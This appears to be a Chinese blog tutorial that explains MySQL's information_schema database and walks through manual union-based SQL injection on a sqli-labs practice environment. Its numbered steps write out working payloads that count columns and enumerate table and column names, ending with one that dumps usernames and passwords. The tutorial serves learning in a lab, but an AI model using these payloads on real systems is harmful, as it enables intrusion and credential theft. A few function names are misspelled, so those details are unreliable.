mysql 注入 information_schema_mysql 手注入之information_schema数据库详解

一、作为一个半道出家的萌新,深知在

66b39cefea89699334f2cf28c29bb452.gif

二、MySQL

知己知彼,百战不殆,要想玩好SQL注入必须了解

1、库(database):MySQL数据库可以创建多个数据库,如果把MySQL数据库比作我们中国,那么每个图书馆都可以理解为一个库,比如山大图书馆就是一个数据库,那么山大图书馆就是这个库的库名,如下图;

图书馆:

66b39cefea89699334f2cf28c29bb452.gif

而在数据库中它是这样的:

66b39cefea89699334f2cf28c29bb452.gif

2、表(table):表可以理解为存在于库中的二级目录,接上例子:类似于图书馆里的的书架,一个书架就是一个表,书架上贴的分类标签就是表名。

书架:

66b39cefea89699334f2cf28c29bb452.gif

而在数据库中是这样的:

66b39cefea89699334f2cf28c29bb452.gif

3、列(column):列是存在于表中的目录,一个表中存在一个或多个列,继续接上例子,假设表是书架,那么列可以理解为书架中的格子,格子上又贴着细分的标签,那么标签就是列名。

书架上的标签:

66b39cefea89699334f2cf28c29bb452.gif

在数据库中他是这样的:

66b39cefea89699334f2cf28c29bb452.gif

4、值/字段内容(value):值是存在于列中的数据,还是上面的例子,那么值就好理解了,那就是书了,这里不再配图。

为了更直观这里用PHPstudy里的数据库web管理页面展示,它在数据库中是下图这样的:

66b39cefea89699334f2cf28c29bb452.gif

5、information_schema库介绍

information_schema数据库是Mysql下的一个存放其他数据库所有内容的信息数据库,它有多个表,通常所有的查询都要经过这个库查询,这里只对个别相关的表做介绍。

66b39cefea89699334f2cf28c29bb452.gif

Schema表:

schema表有五个列,其中schema_name是用来存放数据库库名的列。

66b39cefea89699334f2cf28c29bb452.gif

tables表:

tables表用来存储所有数据库里的表名等信息,其中table_schema列用来存放所有数据库的库名,table_name用来存放MySQL数据库中的所有表名。

66b39cefea89699334f2cf28c29bb452.gif

columns表:

columns表用来存放数据库里的所有字段信息其中table_schema列用来存放数据库库名,table_name列用来存放所有数据库里的所有表名,column_name列用来存放所有的字段/内容(值)。

66b39cefea89699334f2cf28c29bb452.gif

三、手工注入简介

66b39cefea89699334f2cf28c29bb452.gif

了解了数据库结构了,下面这里进行以下简单的复现,这里使用的环境是phpstudy+sqli-lab

1.单引号报错

66b39cefea89699334f2cf28c29bb452.gif

2.and 1=1 判断,返回正常

66b39cefea89699334f2cf28c29bb452.gif

3.and 1=2 ,返回错误

66b39cefea89699334f2cf28c29bb452.gif

4.判断出注入时,首先利用order by子句(默认升序)结合折中法,爆出当前列数,猜到4时报错,猜到3时正常,说明列数为3。

66b39cefea89699334f2cf28c29bb452.gif

66b39cefea89699334f2cf28c29bb452.gif

5.爆出的长度为3,参数值想办法让其报错(可以加负号等),然后进行联合查询?id=-1 union select 1,2,3  爆出位置2和3。

66b39cefea89699334f2cf28c29bb452.gif

6.爆出2,3的位置后,尝试用内置函数读取库名等信息,这里补充下常见的内置函数。

version()--mysql版本

user()--数据库用户

database()--数据库名

@datadir--数据库路径

@@versioncompileos--操作系统

继续接上,这里用在2,3的位置上查询user和库名,?id=-1 union select

1,user(),dabatase() ,爆出了账户、登陆方式和数据库名。

66b39cefea89699334f2cf28c29bb452.gif

7.接下来爆表名,这就用到了上面的information_schema这个库,在2或者3的位置构造查询语句,细分四个部分:

(1)用点连接库下存放表名的tables表

(2)然后用where来精确查询存放在table_schema中的库名

(3)用limit函数来进行遍历

(4)用-- 注释防止报错

最终payload为:union select 1,2,table_name from information_schema.tables where table_schema=’security’ limit 1,1 --+

爆出了users表

66b39cefea89699334f2cf28c29bb452.gif

8.爆出表名后,接下来爆想要的列名,思路如上,遍历出想要的字段,username和password。

最终payload为:union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 1,1 --+

66b39cefea89699334f2cf28c29bb452.gif

修改limit函数遍历第二个想要的列名 union select 1,2,column_name from information_schema.columns where table_schema=’security’and table_name=’users’ limit 2,1 --+

66b39cefea89699334f2cf28c29bb452.gif

9.最后进行常规联合查询即可 payload: union select 1,username,password from users limit 1,1 --+

66b39cefea89699334f2cf28c29bb452.gif

Ps:不一定需要limit() 还有许多函数,其他自行百度,如有错误请指教,谢谢。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值